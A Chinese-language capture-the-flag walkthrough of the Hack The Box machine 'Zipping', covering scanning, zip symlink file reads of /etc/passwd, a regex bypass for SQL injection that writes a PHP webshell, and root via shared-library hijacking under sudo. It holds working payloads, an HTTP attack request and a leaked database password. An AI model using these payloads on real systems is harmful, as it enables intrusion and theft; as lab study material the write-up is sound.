HTB-zipping

 信息收集

端口扫描

端口开放及服务探针。使用nmap对靶机地址10.10.11.229进行端口探测。`nmap -p- --min-rate 1000 10.10.11.299`。扫描结果:开放22、80端口,提供ssh和web服务。

对22、80端口进行详细扫描`nmap -p22,80 -sC -sV -sT -A 10.10.11.229`,使用对靶机地址10.10.11.229进行TCP的详细扫描,并使用默认的脚本进行脆弱性探测。

扫描结果:服务器位Linux内核,web服务使用的apache 2.4.54版本。

web

在端口扫描和服务器的基本情况的确认后,得到服务器的基本信息。通过web服务查看是否有突破口。

基本是静态页面,存在shop和contact处可以提交数据。在查看网页源代码时发现存在upload.php

shop/index.php

upload.php

目录扫描

使用gobuster对站点进行目录的深度扫描,看还有没有隐藏文件`dirsearch -u http://10.10.11.229/`

文件包含漏洞

在shop/index.php?page=products,中可以尝试page参数能否进行文件包含和SQL注入。尝试访问products.php发现改文件存在,猜测是否是通过include($_GET['page'].".hpp")实现的文件包含。

通过输入page=/var/www/html/upload成功包含到upload.php。

zip文件上传

上传文件名导致xss漏洞

创建一个具有xss攻击语句的pdf文件名'"><img src="1" οnerrοr=eval("alert('\''xss'\'')")>.pdf' 并压缩成zip文件。

上传成功执行xss语句

任意文件读取

File Upload - HackTricksicon-default.png?t=N7T8https://book.hacktricks.xyz/pentesting-web/file-upload#symlink通过把zip文件中的文件替换成链接文件,实现任意文件读取。

ln -s /etc/passwd ./passwd
zip --symlinks passwd.zip passwd

 上传passwd.zip,访问上传的pdf的路径。

读取其他的web的文件

/shop/index.php

<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>

product.php

<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
    $id = $_GET['id'];
    // Filtering user input for letters or special characters
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
        header('Location: index.php');
    } else {
        // Prepare statement and execute, but does not prevent SQL injection
        $stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
        $stmt->execute();
        // Fetch the product from the database and return the result as an Array
        $product = $stmt->fetch(PDO::FETCH_ASSOC);
        // Check if the product exists (array is not empty)
        if (!$product) {
            // Simple error to display if the id for the product doesn't exists (array is empty)
            exit('Product does not exist!');
        }
    }
} else {
    // Simple error to display if the id wasn't specified
    exit('No ID provided!');
}
?>

<?=template_header('Zipping | Product')?>

<div class="product content-wrapper">
    <img src="assets/imgs/<?=$product['img']?>" width="500" height="500" alt="<?=$product['name']?>">
    <div>
        <h1 class="name"><?=$product['name']?></h1>
        <span class="price">
            &dollar;<?=$product['price']?>
            <?php if ($product['rrp'] > 0): ?>
            <span class="rrp">&dollar;<?=$product['rrp']?></span>
            <?php endif; ?>
        </span>
        <form action="index.php?page=cart" method="post">
            <input type="number" name="quantity" value="1" min="1" max="<?=$product['quantity']?>" placeholder="Quantity" required>
            <input type="hidden" name="product_id" value="<?=$product['id']?>">
            <input type="submit" value="Add To Cart">
        </form>
        <div class="description">
            <?=$product['desc']?>
        </div>
    </div>
</div>

<?=template_footer()?>

 functions.php

<?php
function pdo_connect_mysql() {
    // Update the details below with your MySQL details
    $DATABASE_HOST = 'localhost';
    $DATABASE_USER = 'root';
    $DATABASE_PASS = 'MySQL_P@ssw0rd!';
    $DATABASE_NAME = 'zipping';
    try {
    	return new PDO('mysql:host=' . $DATABASE_HOST . ';dbname=' . $DATABASE_NAME . ';charset=utf8', $DATABASE_USER, $DATABASE_PASS);
    } catch (PDOException $exception) {
    	// If there is an error with the connection, stop the script and display the error.
    	exit('Failed to connect to database!');
    }
}
// Template header, feel free to customize this
function template_header($title) {
$num_items_in_cart = isset($_SESSION['cart']) ? count($_SESSION['cart']) : 0;
?>

 cart.php

<?php
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {
    // Set the post variables so we easily identify them, also make sure they are integer
    $product_id = $_POST['product_id'];
    $quantity = $_POST['quantity'];
    // Filtering user input for letters or special characters
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {
        echo '';
    } else {
        // Construct the SQL statement with a vulnerable parameter
        $sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
        // Execute the SQL statement without any sanitization or parameter binding
        $product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);
        // Check if the product exists (array is not empty)
        if ($product && $quantity > 0) {
            // Product exists in database, now we can create/update the session variable for the cart
            if (isset($_SESSION['cart']) && is_array($_SESSION['cart'])) {
                if (array_key_exists($product_id, $_SESSION['cart'])) {
                    // Product exists in cart so just update the quanity
                    $_SESSION['cart'][$product_id] += $quantity;
                } else {
                    // Product is not in cart so add it
                    $_SESSION['cart'][$product_id] = $quantity;
                }
            } else {
                // There are no products in cart, this will add the first product to cart
                $_SESSION['cart'] = array($product_id => $quantity);
            }
        }
        // Prevent form resubmission...
        header('location: index.php?page=cart');
        exit;
    }
}

// Remove product from cart, check for the URL param "remove", this is the product id, make sure it's a number and check if it's in the cart
if (isset($_GET['remove']) && is_numeric($_GET['remove']) && isset($_SESSION['cart']) && isset($_SESSION['cart'][$_GET['remove']])) {

    // Remove the product from the shopping cart
    unset($_SESSION['cart'][$_GET['remove']]);
}

// Update product quantities in cart if the user clicks the "Update" button on the shopping cart page
if (isset($_POST['update']) && isset($_SESSION['cart'])) {
    // Loop through the post data so we can update the quantities for every product in cart
    foreach ($_POST as $k => $v) {
        if (strpos($k, 'quantity') !== false && is_numeric($v)) {
            $id = str_replace('quantity-', '', $k);
            $quantity = (int)$v;
            // Always do checks and validation
            if (is_numeric($id) && isset($_SESSION['cart'][$id]) && $quantity > 0) {
                // Update new quantity
                $_SESSION['cart'][$id] = $quantity;
            }
        }
    }
    // Prevent form resubmission...
    header('location: index.php?page=cart');
    exit;
}

// Send the user to the place order page if they click the Place Order button, also the cart should not be empty
if (isset($_POST['placeorder']) && isset($_SESSION['cart']) && !empty($_SESSION['cart'])) {
    header('Location: index.php?page=placeorder');
    exit;
}

if (isset($_POST['clear'])) {
	unset($_SESSION['cart']);
}

// Check the session variable for products in cart
$products_in_cart = isset($_SESSION['cart']) ? $_SESSION['cart'] : array();
$products = array();
$subtotal = 0.00;
// If there are products in cart
if ($products_in_cart) {
    // There are products in the cart so we need to select those products from the database
    // Products in cart array to question mark string array, we need the SQL statement to include IN (?,?,?,...etc)
    $array_to_question_marks = implode(',', array_fill(0, count($products_in_cart), '?'));
    $stmt = $pdo->prepare('SELECT * FROM products WHERE id IN (' . $array_to_question_marks . ')');
    // We only need the array keys, not the values, the keys are the id's of the products
    $stmt->execute(array_keys($products_in_cart));
    // Fetch the products from the database and return the result as an Array
    $products = $stmt->fetchAll(PDO::FETCH_ASSOC);
    // Calculate the subtotal
    foreach ($products as $product) {
        $subtotal += (float)$product['price'] * (int)$products_in_cart[$product['id']];
    }
}
?>

通过对代码进行分析,发现cart.php在执行sql语句时未进行预编译。但是需要绕过

if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) 

[preg_match bypass](https://www.cnblogs.com/20175211lyz/p/12198258.html)

 改正则表达式的含义是匹配大小写字母和各种特殊字符,且最后一个字符必须是非数字将会被匹配到。如下图,当最后一个字符是非数字时将会被匹配到。

SQL注入

绕过匹配的方式是使用%0a绕过,且要保证最后一个字符是数字。payload:%0a'%3bselect+'<%3fphp+eval($_REQUEST[1])%3b+%3f>'+into+outfile+'/var/lib/mysql/3.php'%3b --1

POST /shop/index.php?page=cart HTTP/1.1

Host: 10.10.11.229

Content-Length: 113

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://10.10.11.229

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://10.10.11.229/shop/index.php?page=cart

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=2r2p0aicavvo4ka7ncc5ce1i0a

Connection: close



quantity=1&product_id=%0a'%3bselect+'<%3fphp+system("$_POST[1]")%3b%3f>'+into+outfile+'/var/lib/mysql/7.php';+--2

通过尝试发现/tmp和web目录下均写入失败。先上传shell,再通过cart.php的文件包含进行解析。

user shell

sudo -l查看可以进行sudo的命令

可以以root的身份执行/usr/bin/stock。下载到本地调试。使用ltrace查看函数调用和系统调用等信息。通过调用发现密码是St0ckM4nager

ltrace -Ss 10000 ./stock

确认密码后,调用一个动态链接库/home/rektsu/.config/libcounter.so。在rektsu的工作目录中未发现改so文件。

动态链接库劫持

动态链接库劫持icon-default.png?t=N7T8https://www.cnblogs.com/mutudou/p/13607519.html先制作一个可以自动执行的到shell的c源文件。

#include <stdio.h>
#include <stdlib.h>

void __attribute__((constructor)) init() {
    system("/usr/bin/bash -i");
}

这段代码使用 __attribute__((constructor))init() 函数标记为在程序加载时自动执行的构造函数。当您的程序运行时,init() 函数将被自动调用,然后执行包含 system("/usr/bin/bash -i") 的命令,以在交互式模式下打开一个 Bash shell。 

下载到靶机上去,然后编译成动态链接库文件,并保存在/home/rektsu/.config/libcounter.so

root shell

编译gcc -shared -fpic -o /home/rektsu/.config/libcounter.so su.c,执行sudo /usr/bin/stock

知识点总结:

文件包含漏洞利用

zip symlink 实现任意文件读取zip-symlink-vulnerability

代码审计+SQL注入

动态链接库劫持

参考wp:Zipping - Journal

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值